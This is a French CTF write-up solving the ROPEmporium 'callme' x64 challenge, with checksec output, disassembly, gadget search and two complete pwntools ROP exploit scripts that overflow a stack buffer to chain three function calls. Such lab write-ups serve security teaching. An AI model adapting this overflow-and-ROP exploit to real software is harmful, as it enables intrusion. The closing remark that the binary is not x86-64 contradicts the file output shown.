6 minutes
🇫🇷 ROPEmporium - callme (x64)
Note
Troisième exo de ROPEmporium, un peu plus court que les deux précédents puisqu’il reprend des concepts qu’on connaît déjà donc pas trop de difficulté. Par contre un petit problème au niveau de la consigne il me semble.
Si j’ai fait des erreurs, n’hésitez pas à me contacter sur discord pour me le dire.
Si vous ne comprenez pas quelque chose, je vous invite à regarder la série dans l’ordre.
File information
Avant de commencer à regarder dans l’executable, il faut savoir à quoi on s’attaque, on va utiliser file
pour avoir des informations sur le fichier, puis checksec
pour voir les éventuelles sécuritées avec lesquelles il a été compilé
file callme
callme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=e8e49880bdcaeb9012c6de5f8002c72d8827ea4c, not stripped
On va donc s’attaquer à un executable en 64bit, linké dynamiquement et qui n’est pas strippé
Maintenant le checksec
checksec callme
[*] '/home/conflict/ropemporium/callme_x64/callme'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Comme pour le précédent, NX est activé donc pas de shellcode, mais ce n’est pas un problème puisque la description de l’exercice nous indique exactement quoi faire
Exploitation
Voici la description:
You must call the callme_one(), callme_two() and callme_three() functions in that order, each with the arguments 0xdeadbeef, 0xcafebabe, 0xd00df00d
e.g. callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d) to print the flag.
For the x86_64 binary double up those values, e.g. callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)
On peut quand même le lancer et voir ce qu’il fait:
Comme pour le précédent, on voit qu’on peut overflow le buffer en envoyant un nombre conséquent de bytes. Désassemblons le main
pour voir plus clairement ce qu’il se passe:
pwndbg> disass main
Dump of assembler code for function main:
0x0000000000400847 <+0>: push rbp
0x0000000000400848 <+1>: mov rbp,rsp
0x000000000040084b <+4>: mov rax,QWORD PTR [rip+0x20081e] # 0x601070 <stdout@@GLIBC_2.2.5>
0x0000000000400852 <+11>: mov ecx,0x0
0x0000000000400857 <+16>: mov edx,0x2
0x000000000040085c <+21>: mov esi,0x0
0x0000000000400861 <+26>: mov rdi,rax
0x0000000000400864 <+29>: call 0x400730 <setvbuf@plt>
0x0000000000400869 <+34>: mov edi,0x4009c8
0x000000000040086e <+39>: call 0x4006d0 <puts@plt>
0x0000000000400873 <+44>: mov edi,0x4009df
0x0000000000400878 <+49>: call 0x4006d0 <puts@plt>
0x000000000040087d <+54>: mov eax,0x0
0x0000000000400882 <+59>: call 0x400898 <pwnme>
0x0000000000400887 <+64>: mov edi,0x4009e7
0x000000000040088c <+69>: call 0x4006d0 <puts@plt>
0x0000000000400891 <+74>: mov eax,0x0
0x0000000000400896 <+79>: pop rbp
0x0000000000400897 <+80>: ret
End of assembler dump.
Comme d’habitude, il fait appel à la fonction pwnme
, désassemblons-la elle aussi:
pwndbg> disass pwnme
Dump of assembler code for function pwnme:
0x0000000000400898 <+0>: push rbp
0x0000000000400899 <+1>: mov rbp,rsp
0x000000000040089c <+4>: sub rsp,0x20
0x00000000004008a0 <+8>: lea rax,[rbp-0x20]
0x00000000004008a4 <+12>: mov edx,0x20
0x00000000004008a9 <+17>: mov esi,0x0
0x00000000004008ae <+22>: mov rdi,rax
0x00000000004008b1 <+25>: call 0x400700 <memset@plt>
0x00000000004008b6 <+30>: mov edi,0x4009f0
0x00000000004008bb <+35>: call 0x4006d0 <puts@plt>
0x00000000004008c0 <+40>: mov edi,0x400a13
0x00000000004008c5 <+45>: mov eax,0x0
0x00000000004008ca <+50>: call 0x4006e0 <printf@plt>
0x00000000004008cf <+55>: lea rax,[rbp-0x20]
0x00000000004008d3 <+59>: mov edx,0x200
0x00000000004008d8 <+64>: mov rsi,rax
0x00000000004008db <+67>: mov edi,0x0
0x00000000004008e0 <+72>: call 0x400710 <read@plt>
0x00000000004008e5 <+77>: mov edi,0x400a16
0x00000000004008ea <+82>: call 0x4006d0 <puts@plt>
0x00000000004008ef <+87>: nop
0x00000000004008f0 <+88>: leave
0x00000000004008f1 <+89>: ret
End of assembler dump.
On voit donc que la fonction read
va lire 0x200
bytes puis les stocker dans un buffer de 0x20
bytes, ce qui est largement suffisant pour l’overflow et faire ce qu’on veut.
Maintenant, il nous faut les adresses des trois fonctions callme, pour les trouver, on peut par exemple utiliser pwndbg
:
pwndbg> info functions
All defined functions:
Non-debugging symbols:
0x00000000004006a8 _init
0x00000000004006d0 puts@plt
0x00000000004006e0 printf@plt
0x00000000004006f0 callme_three@plt
0x0000000000400700 memset@plt
0x0000000000400710 read@plt
0x0000000000400720 callme_one@plt
0x0000000000400730 setvbuf@plt
0x0000000000400740 callme_two@plt
0x0000000000400750 exit@plt
0x0000000000400760 _start
0x0000000000400790 _dl_relocate_static_pie
0x00000000004007a0 deregister_tm_clones
0x00000000004007d0 register_tm_clones
0x0000000000400810 __do_global_dtors_aux
0x0000000000400840 frame_dummy
0x0000000000400847 main
0x0000000000400898 pwnme
0x00000000004008f2 usefulFunction
0x000000000040093c usefulGadgets
0x0000000000400940 __libc_csu_init
0x00000000004009b0 __libc_csu_fini
0x00000000004009b4 _fini
On voit que:
- callme_one est située à
0x00400720
- callme_two est située à
0x00400740
- callme_three est située à
0x004006f0
Maintenant, il nous faut un gadget qui va pop rdi
, rsi
et rdx
puisque ce sont les registres utilisés pour les 3 premiers arguments
(cf. linux calling convention stack frame)
On va utiliser ROPgadget pour le trouver:
ROPgadget --binary callme | grep "pop rdi ; pop rsi ; pop rdx"
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
On a notre gadget, et on peut totalement l’utiliser 3 fois pour chaque fonction, donc pas besoin d’en trouver deux autres.
Récapitulons avant de commencer notre exploit:
- On peut commencer à réecrire la sauvegarde de
rip
en entrant 40 bytes dans l’input - On peut mettre les valeurs qu’on veut dans
rdi
,rsi
etrdx
grâce à notre gadget - On peut appeller chaque fonction une par une avec les arguments qu’on veut
Très bien, commençons notre exploit:
#!/usr/bin/env python3
from pwn import *
context.binary = binary = ELF("./callme")
p = process()
p.recv()
padding = b"A"*0x20
rbp = b"B"*0x8
pop_rdi_rsi_rdx = p64(0x000000000040093c)
callme_one = p64(0x00400720)
callme_two = p64(0x00400740)
callme_three = p64(0x004006f0)
arg1 = p64(0xdeadbeefdeadbeef)
arg2 = p64(0xcafebabecafebabe)
arg3 = p64(0xd00df00dd00df00d)
payload = padding + rbp
# On met les arguments dans les registres, puis on jump à la fonction callme_one
payload += pop_rdi_rsi_rdx
payload += arg1 + arg2 + arg3
payload += callme_one
# Pareil, on remet les arguments dans les registres et cette fois on jump à callme_two
payload += pop_rdi_rsi_rdx
payload += arg1 + arg2 + arg3
payload += callme_two
# ...
payload += pop_rdi_rsi_rdx
payload += arg1 + arg2 + arg3
payload += callme_three
p.sendline(payload)
print(p.recvall())
Testons le pour s’assurer qu’il fonctionne:
Et on voit que le programme a segfault
… Pour rappel je suis sous Ubuntu 22.04 donc mon système est affecté par les problèmes de stack alignment. On va donc ajouter un ret juste après notre padding, qu’on peut trouver avec ROPgadget
ROPgadget --binary callme
Gadgets information
============================================================
<...>
0x00000000004006be : ret
<...>
Unique gadgets found: 110
Final Payload
Complétons notre exploit avec ce ret:
#!/usr/bin/env python3
from pwn import *
context.binary = binary = ELF("./callme")
p = process()
p.recv()
padding = b"A"*0x20
rbp = b"B"*0x8
ret = p64(0x00000000004006be)
pop_rdi_rsi_rdx = p64(0x000000000040093c)
callme_one = p64(0x00400720)
callme_two = p64(0x00400740)
callme_three = p64(0x004006f0)
arg1 = p64(0xdeadbeefdeadbeef)
arg2 = p64(0xcafebabecafebabe)
arg3 = p64(0xd00df00dd00df00d)
payload = padding + rbp
# ret gadget
payload += ret
# On met les arguments dans les registres, puis on jump à la fonction callme_one
payload += pop_rdi_rsi_rdx
payload += arg1 + arg2 + arg3
payload += callme_one
# Pareil, on remet les arguments dans les registres et cette fois on jump à callme_two
payload += pop_rdi_rsi_rdx
payload += arg1 + arg2 + arg3
payload += callme_two
# ...
payload += pop_rdi_rsi_rdx
payload += arg1 + arg2 + arg3
payload += callme_three
p.sendline(payload)
print("Flag:",p.recvall().split(b"\n")[3].decode('utf-8'))
Et cette fois, il devrait fonctionner:
Parfait, on a réussi à récupérer le flag
Note: Nous ne sommes pas en x86_x64 donc nous n’aurions pas dû avoir besoin de doubler les valeurs des arguments comme dit dans la consigne mais ça ne fonctionnait pas sans…